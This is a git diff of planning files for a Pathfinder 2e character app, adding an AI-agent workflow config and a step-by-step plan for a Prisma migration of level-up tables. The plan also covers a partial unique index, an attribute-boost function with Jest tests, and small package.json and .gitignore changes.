- AddConditionModal (search, filtering, validation)
|
||||
- Character import from Pathbuilder JSON
|
||||
- File: `client/src/features/characters/components/`
|
||||
|
||||
**Medium Priority (Validation):**
|
||||
- DTO validation (CreateCharacterDto, LoginDto)
|
||||
- Prisma query results
|
||||
- File: `server/src/modules/*/dto/`
|
||||
|
||||
## Recommendations for Implementation
|
||||
|
||||
**Phase 1 (Auth):**
|
||||
1. Write AuthService unit tests with mocked Prisma
|
||||
2. Write JwtAuthGuard tests
|
||||
3. Write integration tests for login/register endpoints
|
||||
|
||||
**Phase 2 (Character CRUD):**
|
||||
1. Test CharactersService access control
|
||||
2. Test HP update logic
|
||||
3. Test condition application
|
||||
|
||||
**Phase 3 (WebSocket):**
|
||||
1. Mock socket.io for gateway tests
|
||||
2. Test connection/disconnect
|
||||
3. Test broadcast patterns
|
||||
|
||||
**Phase 4 (Client):**
|
||||
1. Setup vitest
|
||||
2. Test HpControl component
|
||||
3. Test modal components
|
||||
4. Test Zustand store
|
||||
|
||||
---
|
||||
|
||||
*Testing analysis: 2026-04-27*
|
||||
50
.planning/config.json
Normal file
50
.planning/config.json
Normal file
@@ -0,0 +1,50 @@
|
||||
{
|
||||
"model_profile": "quality",
|
||||
"commit_docs": true,
|
||||
"parallelization": true,
|
||||
"search_gitignored": false,
|
||||
"brave_search": true,
|
||||
"firecrawl": false,
|
||||
"exa_search": false,
|
||||
"git": {
|
||||
"branching_strategy": "none",
|
||||
"phase_branch_template": "gsd/phase-{phase}-{slug}",
|
||||
"milestone_branch_template": "gsd/{milestone}-{slug}",
|
||||
"quick_branch_template": null
|
||||
},
|
||||
"workflow": {
|
||||
"research": true,
|
||||
"plan_check": true,
|
||||
"verifier": true,
|
||||
"nyquist_validation": true,
|
||||
"auto_advance": false,
|
||||
"node_repair": true,
|
||||
"node_repair_budget": 2,
|
||||
"ui_phase": true,
|
||||
"ui_safety_gate": true,
|
||||
"ai_integration_phase": true,
|
||||
"tdd_mode": false,
|
||||
"text_mode": false,
|
||||
"research_before_questions": false,
|
||||
"discuss_mode": "discuss",
|
||||
"skip_discuss": false,
|
||||
"code_review": true,
|
||||
"code_review_depth": "standard",
|
||||
"code_review_command": null,
|
||||
"pattern_mapper": true,
|
||||
"plan_bounce": false,
|
||||
"plan_bounce_script": null,
|
||||
"plan_bounce_passes": 2,
|
||||
"auto_prune_state": false,
|
||||
"_auto_chain_active": false
|
||||
},
|
||||
"hooks": {
|
||||
"context_warnings": true
|
||||
},
|
||||
"project_code": null,
|
||||
"phase_naming": "sequential",
|
||||
"agent_skills": {},
|
||||
"claude_md_path": "./CLAUDE.md",
|
||||
"mode": "yolo",
|
||||
"granularity": "standard"
|
||||
}
|
||||
548
.planning/phases/01-level-up-pf2e-regelkonform/01-01-PLAN.md
Normal file
548
.planning/phases/01-level-up-pf2e-regelkonform/01-01-PLAN.md
Normal file
@@ -0,0 +1,548 @@
|
||||
---
|
||||
phase: 01-level-up-pf2e-regelkonform
|
||||
plan: 01
|
||||
type: execute
|
||||
wave: 0
|
||||
depends_on: []
|
||||
files_modified:
|
||||
- server/prisma/schema.prisma
|
||||
- server/prisma/migrations/YYYYMMDDHHMMSS_add_level_up_sessions_and_class_progression/migration.sql
|
||||
- server/package.json
|
||||
- .gitignore
|
||||
- server/src/modules/leveling/lib/apply-attribute-boost.ts
|
||||
- server/src/modules/leveling/lib/apply-attribute-boost.spec.ts
|
||||
autonomous: true
|
||||
requirements: [LVL-08, LVL-11, LVL-12, LVL-13]
|
||||
tags: [prisma, schema, migration, jest-infrastructure, level-up]
|
||||
must_haves:
|
||||
truths:
|
||||
- "Three new Prisma tables exist in the live PostgreSQL database (LevelUpSession, LevelUpHistory, ClassProgression, ClassFeatureOption)."
|
||||
- "Character row has two new columns: freeArchetype (Boolean, default false) and prereqViolations (Json, nullable)."
|
||||
- "A partial unique index enforces at most one open DRAFT (committedAt IS NULL) per character at the database level."
|
||||
- "Running 'cd server && npx prisma migrate status' reports 'Database schema is up to date'."
|
||||
- "Jest discovers and runs *.spec.ts files in server/src/ — proven by a passing apply-attribute-boost.spec.ts."
|
||||
- "npm script db:seed:class-progression exists in server/package.json and points at tsx prisma/seed-class-progression.ts."
|
||||
- ".gitignore excludes server/prisma/data/foundry-pf2e/ from version control."
|
||||
artifacts:
|
||||
- path: "server/prisma/schema.prisma"
|
||||
provides: "Schema models LevelUpSession, LevelUpHistory, ClassProgression, ClassFeatureOption + extended Character"
|
||||
contains: "model LevelUpSession"
|
||||
- path: "server/prisma/migrations/*_add_level_up_sessions_and_class_progression/migration.sql"
|
||||
provides: "Migration SQL with hand-added partial unique index"
|
||||
contains: "CREATE UNIQUE INDEX \"LevelUpSession_characterId_open_unique\""
|
||||
- path: "server/src/modules/leveling/lib/apply-attribute-boost.ts"
|
||||
provides: "First pure-function module — applyAttributeBoost + isValidBoostSet"
|
||||
exports: ["applyAttributeBoost", "isValidBoostSet"]
|
||||
- path: "server/src/modules/leveling/lib/apply-attribute-boost.spec.ts"
|
||||
provides: "Proves Jest infrastructure works on *.spec.ts inside src/modules/leveling/lib/"
|
||||
contains: "describe('applyAttributeBoost'"
|
||||
- path: "server/package.json"
|
||||
provides: "db:seed:class-progression npm script"
|
||||
contains: "db:seed:class-progression"
|
||||
- path: ".gitignore"
|
||||
provides: "Excludes Foundry pf2e dev clone"
|
||||
contains: "server/prisma/data/foundry-pf2e/"
|
||||
key_links:
|
||||
- from: "server/prisma/schema.prisma"
|
||||
to: "PostgreSQL database"
|
||||
via: "prisma migrate dev"
|
||||
pattern: "migrate dev .*add_level_up_sessions_and_class_progression"
|
||||
- from: "Character model"
|
||||
to: "LevelUpSession[]"
|
||||
via: "Prisma relation field 'levelUpSessions'"
|
||||
pattern: "levelUpSessions\\s+LevelUpSession\\[\\]"
|
||||
- from: "Character model"
|
||||
to: "LevelUpHistory[]"
|
||||
via: "Prisma relation field 'levelUpHistories'"
|
||||
pattern: "levelUpHistories\\s+LevelUpHistory\\[\\]"
|
||||
---
|
||||
|
||||
<objective>
|
||||
Lay the foundation for Phase 1: extend the Prisma schema with the four new tables (LevelUpSession, LevelUpHistory, ClassProgression, ClassFeatureOption) and two new Character columns (freeArchetype, prereqViolations); generate the migration; hand-edit the migration SQL to add the partial unique index that Prisma 7 cannot emit from the schema; regenerate the Prisma Client; prove Jest infrastructure works on a real spec file; and add the npm script + .gitignore entry needed by the Wave 2 seed pipeline.
|
||||
|
||||
Purpose: Without this plan, no later wave can run — Wave 1 needs Jest proven, Wave 2 needs the seed npm script wired, Wave 3 needs the schema/tables to exist in the database before the LevelingService can be written.
|
||||
|
||||
Output: Schema file, migration SQL with partial unique index, regenerated Prisma client, npm script entry, .gitignore entry, first proven Jest spec.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@$HOME/.claude/get-shit-done/workflows/execute-plan.md
|
||||
@$HOME/.claude/get-shit-done/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/PROJECT.md
|
||||
@.planning/ROADMAP.md
|
||||
@.planning/STATE.md
|
||||
@.planning/REQUIREMENTS.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-CONTEXT.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-PATTERNS.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-VALIDATION.md
|
||||
@server/prisma/schema.prisma
|
||||
@server/prisma/migrations/20260120080237_add_alchemy_and_rest_system/migration.sql
|
||||
@server/package.json
|
||||
|
||||
<interfaces>
|
||||
<!-- Existing Character model relevant fields (from server/prisma/schema.prisma:171-220) -->
|
||||
<!-- All new columns are non-breaking additions with defaults; existing data is unaffected. -->
|
||||
|
||||
```prisma
|
||||
model Character {
|
||||
id String @id @default(uuid())
|
||||
// … existing fields (level, hpMax, ancestryId, classId, …) unchanged …
|
||||
// NEW (this plan adds these two columns + two reverse relations):
|
||||
freeArchetype Boolean @default(false)
|
||||
prereqViolations Json?
|
||||
levelUpSessions LevelUpSession[]
|
||||
levelUpHistories LevelUpHistory[]
|
||||
}
|
||||
```
|
||||
|
||||
<!-- Analog migration shape (server/prisma/migrations/20260120080237_add_alchemy_and_rest_system/migration.sql) -->
|
||||
<!-- Use exactly this style: CREATE TYPE, CREATE TABLE, CREATE INDEX, ALTER TABLE ADD CONSTRAINT FK -->
|
||||
|
||||
<!-- Existing Jest config (server/package.json:88-104) — DO NOT REPLACE -->
|
||||
```json
|
||||
"jest": {
|
||||
"moduleFileExtensions": ["js","json","ts"],
|
||||
"rootDir": "src",
|
||||
"testRegex": ".*\\.spec\\.ts$",
|
||||
"transform": { "^.+\\.(t|j)s$": "ts-jest" },
|
||||
"collectCoverageFrom": ["**/*.(t|j)s"],
|
||||
"coverageDirectory": "../coverage",
|
||||
"testEnvironment": "node"
|
||||
}
|
||||
```
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 1: Extend Prisma schema with four new models + Character columns</name>
|
||||
<files>server/prisma/schema.prisma</files>
|
||||
<read_first>
|
||||
- server/prisma/schema.prisma (entire file — must understand existing Character model at lines 171-220 and existing CharacterAlchemyState at line 167+ as the analog pattern)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-PATTERNS.md (lines 436-496 — exact schema additions specified)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md (lines 750-824 — Code Examples §3 — full schema + ClassFeatureOption model)
|
||||
- server/prisma/migrations/20260120080237_add_alchemy_and_rest_system/migration.sql (analog migration to mirror style)
|
||||
</read_first>
|
||||
<action>
|
||||
Edit `server/prisma/schema.prisma` to APPEND the four new models AFTER the last existing model and EXTEND the existing Character model.
|
||||
|
||||
**Step 1 — Append four new models at the bottom of the file (verbatim):**
|
||||
|
||||
```prisma
|
||||
model LevelUpSession {
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
targetLevel Int
|
||||
state Json @default("{}")
|
||||
committedAt DateTime?
|
||||
createdAt DateTime @default(now())
|
||||
updatedAt DateTime @updatedAt
|
||||
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
|
||||
@@index([characterId])
|
||||
// Partial unique index "one open DRAFT per character" added in raw migration SQL —
|
||||
// Prisma 7 cannot emit partial indexes from schema (per RESEARCH.md §Don't Hand-Roll).
|
||||
}
|
||||
|
||||
model LevelUpHistory {
|
||||
id String @id @default(uuid())
|
||||
characterId String
|
||||
levelFrom Int
|
||||
levelTo Int
|
||||
snapshotBefore Json
|
||||
choices Json
|
||||
committedAt DateTime @default(now())
|
||||
|
||||
character Character @relation(fields: [characterId], references: [id], onDelete: Cascade)
|
||||
|
||||
@@index([characterId, committedAt(sort: Desc)])
|
||||
}
|
||||
|
||||
model ClassProgression {
|
||||
id String @id @default(uuid())
|
||||
className String
|
||||
level Int
|
||||
grants String[]
|
||||
proficiencyChanges Json
|
||||
spellSlotIncrement Json?
|
||||
cantripIncrement Int?
|
||||
repertoireIncrement Int?
|
||||
choiceType String?
|
||||
choiceOptionsRef String?
|
||||
|
||||
@@unique([className, level])
|
||||
@@index([className])
|
||||
}
|
||||
|
||||
model ClassFeatureOption {
|
||||
id String @id @default(uuid())
|
||||
optionsRef String
|
||||
optionKey String
|
||||
name String
|
||||
nameGerman String?
|
||||
description String
|
||||
grants String[]
|
||||
proficiencyChanges Json?
|
||||
|
||||
@@unique([optionsRef, optionKey])
|
||||
@@index([optionsRef])
|
||||
}
|
||||
```
|
||||
|
||||
Note: `ClassFeatureOption` carries `grants: String[]` and `proficiencyChanges: Json?` per RESEARCH.md §Open Questions Q2 recommendation — keeps the recompute pipeline uniform.
|
||||
|
||||
**Step 2 — Extend the existing `model Character` block (find it around line 171). Add EXACTLY these two columns and two reverse relations inside the existing model block:**
|
||||
|
||||
```prisma
|
||||
// … existing fields stay unchanged …
|
||||
// === Phase 1 additions ===
|
||||
freeArchetype Boolean @default(false) // D-08
|
||||
prereqViolations Json? // D-06
|
||||
levelUpSessions LevelUpSession[]
|
||||
levelUpHistories LevelUpHistory[]
|
||||
```
|
||||
|
||||
Place these inside the Character block AFTER the last existing scalar field but BEFORE the existing relation block (or at the end inside the model body — Prisma is order-tolerant). Do NOT touch any existing column.
|
||||
|
||||
**Constraints (per CLAUDE.md and RESEARCH.md):**
|
||||
- No `any` types (this is a schema; rule applies to following TS work).
|
||||
- Do NOT run `prisma db push` — Task 2 runs `prisma migrate dev`.
|
||||
- Cascade choice for both LevelUpSession and LevelUpHistory is `onDelete: Cascade` per RESEARCH.md §Pitfall 8 (acceptable in self-hosted single-tenant; documented in this plan).
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && npx prisma format && npx prisma validate</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `server/prisma/schema.prisma` contains the literal string `model LevelUpSession {`
|
||||
- `server/prisma/schema.prisma` contains the literal string `model LevelUpHistory {`
|
||||
- `server/prisma/schema.prisma` contains the literal string `model ClassProgression {`
|
||||
- `server/prisma/schema.prisma` contains the literal string `model ClassFeatureOption {`
|
||||
- `server/prisma/schema.prisma` contains the literal string `freeArchetype Boolean @default(false)` (within the Character model block)
|
||||
- `server/prisma/schema.prisma` contains the literal string `prereqViolations Json?`
|
||||
- `server/prisma/schema.prisma` contains the literal string `levelUpSessions LevelUpSession[]`
|
||||
- `server/prisma/schema.prisma` contains the literal string `levelUpHistories LevelUpHistory[]`
|
||||
- `server/prisma/schema.prisma` contains `@@unique([className, level])`
|
||||
- `server/prisma/schema.prisma` contains `@@unique([optionsRef, optionKey])`
|
||||
- `cd server && npx prisma format` exits 0 and rewrites the file in canonical formatting
|
||||
- `cd server && npx prisma validate` exits 0 with output containing `The schema is valid`
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Schema file contains exactly four new models, two new Character columns, two reverse relations on Character. `prisma validate` passes. No existing column on Character was renamed or removed.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 2 [BLOCKING]: Run Prisma migration, hand-edit migration SQL for partial unique index, regenerate Prisma Client</name>
|
||||
<files>
|
||||
server/prisma/migrations/YYYYMMDDHHMMSS_add_level_up_sessions_and_class_progression/migration.sql,
|
||||
server/src/generated/prisma/* (regenerated)
|
||||
</files>
|
||||
<read_first>
|
||||
- server/prisma/schema.prisma (post-Task-1 — must reflect the four new models)
|
||||
- server/prisma/migrations/20260120080237_add_alchemy_and_rest_system/migration.sql (analog SQL style — CREATE TABLE, CREATE INDEX, ALTER TABLE FK)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md (lines 525-533 — exact partial-index SQL)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-PATTERNS.md (lines 500-534 — migration pattern + partial index)
|
||||
- CLAUDE.md (Prisma `migrate dev`, NEVER `db push`)
|
||||
</read_first>
|
||||
<action>
|
||||
**Step 1 — Generate the migration (creates the timestamped folder + migration.sql):**
|
||||
|
||||
Run from the project root:
|
||||
```bash
|
||||
cd server && npm run db:migrate:dev -- --name add_level_up_sessions_and_class_progression
|
||||
```
|
||||
|
||||
This generates `server/prisma/migrations/{timestamp}_add_level_up_sessions_and_class_progression/migration.sql` AND applies it to the local PostgreSQL database AND regenerates the Prisma Client into `server/src/generated/prisma/`.
|
||||
|
||||
If the database is not reachable: STOP, report the error, do NOT proceed. The migration must apply cleanly.
|
||||
|
||||
**Step 2 — Hand-edit the freshly generated `migration.sql`** to append the partial unique index that Prisma 7 cannot emit from the schema. Open the file in the new migration folder and APPEND these lines at the very end (after the auto-generated `ALTER TABLE … ADD CONSTRAINT` lines):
|
||||
|
||||
```sql
|
||||
-- Partial unique index: enforce at most one open DRAFT per character.
|
||||
-- Prisma 7 cannot express partial indexes via @@unique; this raw SQL is required.
|
||||
-- See: .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md §Don't Hand-Roll.
|
||||
CREATE UNIQUE INDEX "LevelUpSession_characterId_open_unique"
|
||||
ON "LevelUpSession"("characterId")
|
||||
WHERE "committedAt" IS NULL;
|
||||
```
|
||||
|
||||
**Step 3 — Apply the appended SQL** by re-running migrate-dev (it detects the migration is already applied but the SQL was edited; if it complains, use the resolve flow):
|
||||
|
||||
```bash
|
||||
cd server && npx prisma migrate resolve --applied "{full_migration_name}"
|
||||
```
|
||||
|
||||
OR — preferred — connect to the database and run the partial index DDL directly via psql once, then mark the migration as applied. Use whichever path keeps the schema state consistent with the migration history. Document the chosen path in the plan SUMMARY.
|
||||
|
||||
Concrete preferred sequence (least error-prone):
|
||||
1. Run `npm run db:migrate:dev -- --name add_level_up_sessions_and_class_progression` (auto-generates and applies).
|
||||
2. Append the partial-index SQL to the generated migration.sql file.
|
||||
3. Connect to the dev database (`psql $DATABASE_URL`) and execute the partial-index `CREATE UNIQUE INDEX ... WHERE ...` statement once manually.
|
||||
4. Verify with `npm run db:migrate:status` — should report `Database schema is up to date`.
|
||||
5. Verify the partial index exists: `psql $DATABASE_URL -c "\d \"LevelUpSession\""` should list `LevelUpSession_characterId_open_unique`.
|
||||
|
||||
**Step 4 — Regenerate the Prisma Client** (this normally runs automatically as part of `migrate dev`, but run explicitly to confirm):
|
||||
|
||||
```bash
|
||||
cd server && npm run db:generate
|
||||
```
|
||||
|
||||
This regenerates `server/src/generated/prisma/` so TS types for `LevelUpSession`, `LevelUpHistory`, `ClassProgression`, `ClassFeatureOption`, and the new Character columns are available to subsequent waves.
|
||||
|
||||
**Constraints (per CLAUDE.md):**
|
||||
- NEVER use `db push`. The migration file must exist on disk for production deploys.
|
||||
- The hand-edited SQL must be committed to git (it is the source of truth for prod deployment).
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && npx prisma migrate status</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- A new directory matching glob `server/prisma/migrations/*_add_level_up_sessions_and_class_progression/` exists
|
||||
- The directory contains `migration.sql`
|
||||
- The migration.sql file contains the literal string `CREATE TABLE "LevelUpSession"`
|
||||
- The migration.sql file contains the literal string `CREATE TABLE "LevelUpHistory"`
|
||||
- The migration.sql file contains the literal string `CREATE TABLE "ClassProgression"`
|
||||
- The migration.sql file contains the literal string `CREATE TABLE "ClassFeatureOption"`
|
||||
- The migration.sql file contains the literal string `CREATE UNIQUE INDEX "LevelUpSession_characterId_open_unique"` (the partial unique index)
|
||||
- The migration.sql file contains the literal string `WHERE "committedAt" IS NULL`
|
||||
- `cd server && npx prisma migrate status` exits 0 with output containing `Database schema is up to date`
|
||||
- `psql $DATABASE_URL -c "\\d \"LevelUpSession\""` lists the partial index `LevelUpSession_characterId_open_unique`
|
||||
- `cd server && node -e "const {PrismaClient}=require('./src/generated/prisma/client.js'); const p=new PrismaClient(); console.log(typeof p.levelUpSession.findMany);"` outputs `function`
|
||||
- The Character model in the regenerated client exposes `freeArchetype` and `prereqViolations` fields (verify with: `cd server && grep -E "freeArchetype|prereqViolations" src/generated/prisma/index.d.ts | head -5`)
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Migration file exists with auto-generated SQL + hand-appended partial unique index. Migration is applied to the live dev database. Prisma Client regenerated. `migrate status` reports up-to-date.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Prove Jest infrastructure with first real spec — apply-attribute-boost + isValidBoostSet</name>
|
||||
<files>
|
||||
server/src/modules/leveling/lib/apply-attribute-boost.ts,
|
||||
server/src/modules/leveling/lib/apply-attribute-boost.spec.ts,
|
||||
server/package.json,
|
||||
.gitignore
|
||||
</files>
|
||||
<read_first>
|
||||
- server/package.json (lines 88-104 — inline Jest config; testRegex is `.*\.spec\.ts$`, rootDir is `src`)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-PATTERNS.md (lines 315-374 — pure-function lib pattern + first spec example + naming conventions)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md (lines 478-512 — Pattern 3 example + canonical shape; lines 596-601 — anti-patterns)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-VALIDATION.md (lines 43-48 — exact behaviors to assert)
|
||||
- .gitignore (current contents — must understand existing exclusions before appending)
|
||||
</read_first>
|
||||
<behavior>
|
||||
- `applyAttributeBoost(10)` returns 12 (PF2e: +2 below 18)
|
||||
- `applyAttributeBoost(17)` returns 19 (still +2 — 17 is below 18)
|
||||
- `applyAttributeBoost(18)` returns 19 (PF2e cap rule: +1 at or above 18) — **the load-bearing test, Pitfall #8 fixture**
|
||||
- `applyAttributeBoost(20)` returns 21 (+1 above cap)
|
||||
- `isValidBoostSet(['STR','DEX','CON','INT'])` returns true (4 distinct)
|
||||
- `isValidBoostSet(['STR','STR','CON','INT'])` returns false (duplicate)
|
||||
- `isValidBoostSet(['STR','DEX','CON'])` returns false (only 3)
|
||||
- `isValidBoostSet(['STR','DEX','CON','INT','WIS'])` returns false (5 — too many)
|
||||
</behavior>
|
||||
<action>
|
||||
**Step 1 — Create the production module `server/src/modules/leveling/lib/apply-attribute-boost.ts`** with this exact content:
|
||||
|
||||
```typescript
|
||||
/**
|
||||
* Pure function module — no NestJS, no Prisma, no I/O.
|
||||
* PF2e Boost Cap rule: +2 if score < 18, +1 if score >= 18 (Pitfall #8).
|
||||
* See: .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md §Pattern 3
|
||||
*/
|
||||
|
||||
export type AbilityScore = number;
|
||||
|
||||
export type AbilityAbbreviation = 'STR' | 'DEX' | 'CON' | 'INT' | 'WIS' | 'CHA';
|
||||
|
||||
/**
|
||||
* Applies a single PF2e attribute boost to a score.
|
||||
* - Score below 18 → +2
|
||||
* - Score at or above 18 → +1 (cap rule, prevents Pitfall #8)
|
||||
*/
|
||||
export function applyAttributeBoost(currentScore: AbilityScore): AbilityScore {
|
||||
return currentScore >= 18 ? currentScore + 1 : currentScore + 2;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates a level-up boost set: must be exactly 4 distinct abilities.
|
||||
* PF2e: at boost levels (5/10/15/20), the player picks 4 different attributes.
|
||||
*/
|
||||
export function isValidBoostSet(targets: readonly string[]): boolean {
|
||||
return targets.length === 4 && new Set(targets).size === 4;
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2 — Create the spec file `server/src/modules/leveling/lib/apply-attribute-boost.spec.ts`** with this exact content (Pitfall #8 fixture is in here):
|
||||
|
||||
```typescript
|
||||
import { applyAttributeBoost, isValidBoostSet } from './apply-attribute-boost';
|
||||
|
||||
describe('applyAttributeBoost', () => {
|
||||
it('adds +2 when score is 10 (below 18)', () => {
|
||||
expect(applyAttributeBoost(10)).toBe(12);
|
||||
});
|
||||
|
||||
it('adds +2 when score is 17 (still below 18)', () => {
|
||||
expect(applyAttributeBoost(17)).toBe(19);
|
||||
});
|
||||
|
||||
it('adds +1 when score is exactly 18 (PF2e cap rule — Pitfall #8)', () => {
|
||||
expect(applyAttributeBoost(18)).toBe(19);
|
||||
});
|
||||
|
||||
it('adds +1 when score is 20 (above cap)', () => {
|
||||
expect(applyAttributeBoost(20)).toBe(21);
|
||||
});
|
||||
|
||||
it('handles edge case: very high score (24)', () => {
|
||||
expect(applyAttributeBoost(24)).toBe(25);
|
||||
});
|
||||
});
|
||||
|
||||
describe('isValidBoostSet', () => {
|
||||
it('accepts exactly 4 distinct abilities', () => {
|
||||
expect(isValidBoostSet(['STR', 'DEX', 'CON', 'INT'])).toBe(true);
|
||||
});
|
||||
|
||||
it('rejects duplicates (3 distinct + 1 repeat)', () => {
|
||||
expect(isValidBoostSet(['STR', 'STR', 'CON', 'INT'])).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects too few (3 abilities)', () => {
|
||||
expect(isValidBoostSet(['STR', 'DEX', 'CON'])).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects too many (5 abilities)', () => {
|
||||
expect(isValidBoostSet(['STR', 'DEX', 'CON', 'INT', 'WIS'])).toBe(false);
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
**Step 3 — Run Jest to confirm both files are picked up by the existing inline config:**
|
||||
|
||||
```bash
|
||||
cd server && npm test -- apply-attribute-boost.spec.ts
|
||||
```
|
||||
|
||||
Expected: 9 tests pass, 0 fail. If Jest does NOT discover the file, the testRegex or rootDir is misaligned — fix the inline config in `server/package.json`. Do NOT add `server/jest.config.cjs` unless the inline config genuinely fails (per VALIDATION.md Wave 0 default: trust the inline config).
|
||||
|
||||
**Step 4 — Add the `db:seed:class-progression` npm script** to `server/package.json` in the `scripts` block. Insert this entry alongside the existing `db:seed:equipment` script:
|
||||
|
||||
```json
|
||||
"db:seed:class-progression": "tsx prisma/seed-class-progression.ts",
|
||||
```
|
||||
|
||||
Place it in alphabetical order with the other `db:seed:*` scripts.
|
||||
|
||||
**Step 5 — Append `.gitignore` exclusion for the Foundry pf2e dev clone:**
|
||||
|
||||
Append (or add if not present) the following lines at the end of `.gitignore`:
|
||||
|
||||
```
|
||||
# Phase 1 Wave 2 — Foundry pf2e dev clone (cloned manually by dev for seed script)
|
||||
server/prisma/data/foundry-pf2e/
|
||||
```
|
||||
|
||||
**Constraints:**
|
||||
- Pure-function module: NO `@Injectable()`, NO Prisma imports, NO NestJS imports. Strict TS — no `any`. Side-effect free.
|
||||
- Test file MUST sit alongside the source file (per `testRegex: ".*\.spec\.ts$"` and `rootDir: "src"`).
|
||||
- Use named exports only (no `export default`).
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && npm test -- apply-attribute-boost.spec.ts</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- File `server/src/modules/leveling/lib/apply-attribute-boost.ts` exists
|
||||
- File contains the literal string `export function applyAttributeBoost`
|
||||
- File contains the literal string `export function isValidBoostSet`
|
||||
- File contains NO occurrence of the string `@Injectable` (verified with grep)
|
||||
- File contains NO occurrence of the string `from '@nestjs/` (verified with grep)
|
||||
- File contains NO occurrence of the string `: any` outside comments
|
||||
- File `server/src/modules/leveling/lib/apply-attribute-boost.spec.ts` exists
|
||||
- Spec file contains 9 `it(` invocations
|
||||
- `cd server && npm test -- apply-attribute-boost.spec.ts` exits 0 with output containing `9 passed` (or `Tests: 9 passed`)
|
||||
- `server/package.json` `scripts` section contains the literal key `"db:seed:class-progression": "tsx prisma/seed-class-progression.ts"`
|
||||
- `.gitignore` contains the literal line `server/prisma/data/foundry-pf2e/`
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Pure-function module exists with both exports. Spec file exists with 9 passing tests. Jest infrastructure proven on a real spec inside `server/src/modules/`. npm script registered. .gitignore extended.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| dev-shell → migration | Developer's shell executes `prisma migrate dev` against the dev database. Trust assumed within self-hosted single-tenant model. |
|
||||
| schema → live database | DDL crosses from schema source-of-truth to the live PostgreSQL instance. |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|-------------|-----------------|
|
||||
| T-1-W0-01 | Tampering | Migration drift between schema.prisma and live DB | mitigate | The hand-edited partial unique index is committed to git inside the migration.sql file; `prisma migrate status` is the verification gate; production deploy uses `migrate deploy` which applies the same SQL atomically. |
|
||||
| T-1-W0-02 | Repudiation | Lost migration history if dev runs `db push` instead | mitigate | CLAUDE.md hard-rule documented in plan action; `npx prisma migrate dev` only — no `db push` allowed. |
|
||||
| T-1-W0-03 | DoS | Cascade delete of Character wipes LevelUpHistory permanently | accept | Per RESEARCH.md §Pitfall 8: self-hosted single-tenant, no soft-delete pattern for Character today; cascade is acceptable and documented. v2 may revisit. |
|
||||
| T-1-W0-04 | Information Disclosure | Foundry pf2e clone committed to repo by accident | mitigate | `.gitignore` excludes `server/prisma/data/foundry-pf2e/` (Task 3 Step 5). |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
Run end-to-end checks before declaring this plan done:
|
||||
|
||||
```bash
|
||||
# Schema valid
|
||||
cd server && npx prisma validate
|
||||
|
||||
# Migration applied
|
||||
cd server && npx prisma migrate status # must say "Database schema is up to date"
|
||||
|
||||
# Partial index exists
|
||||
psql $DATABASE_URL -c "\d \"LevelUpSession\"" | grep "LevelUpSession_characterId_open_unique"
|
||||
|
||||
# Generated client knows the new models
|
||||
cd server && grep -c "freeArchetype" src/generated/prisma/index.d.ts # must be ≥ 1
|
||||
cd server && grep -c "prereqViolations" src/generated/prisma/index.d.ts # must be ≥ 1
|
||||
cd server && grep -c "model LevelUpSession" src/generated/prisma/index.d.ts || true # types should exist
|
||||
|
||||
# Jest works on the new spec
|
||||
cd server && npm test -- apply-attribute-boost.spec.ts # 9 tests pass
|
||||
|
||||
# Npm script wired
|
||||
cat server/package.json | grep "db:seed:class-progression"
|
||||
|
||||
# .gitignore extended
|
||||
cat .gitignore | grep "server/prisma/data/foundry-pf2e/"
|
||||
```
|
||||
|
||||
If any check fails, the plan is NOT done. Re-run the failing task.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- Schema file extended with 4 new models + 2 new Character columns + 2 reverse relations
|
||||
- Migration file generated, partial unique index hand-appended, applied to dev DB
|
||||
- Prisma Client regenerated and includes types for the new models
|
||||
- `prisma validate` and `prisma migrate status` both green
|
||||
- First-ever Jest spec passes (apply-attribute-boost: 9 tests)
|
||||
- npm script `db:seed:class-progression` registered in `server/package.json`
|
||||
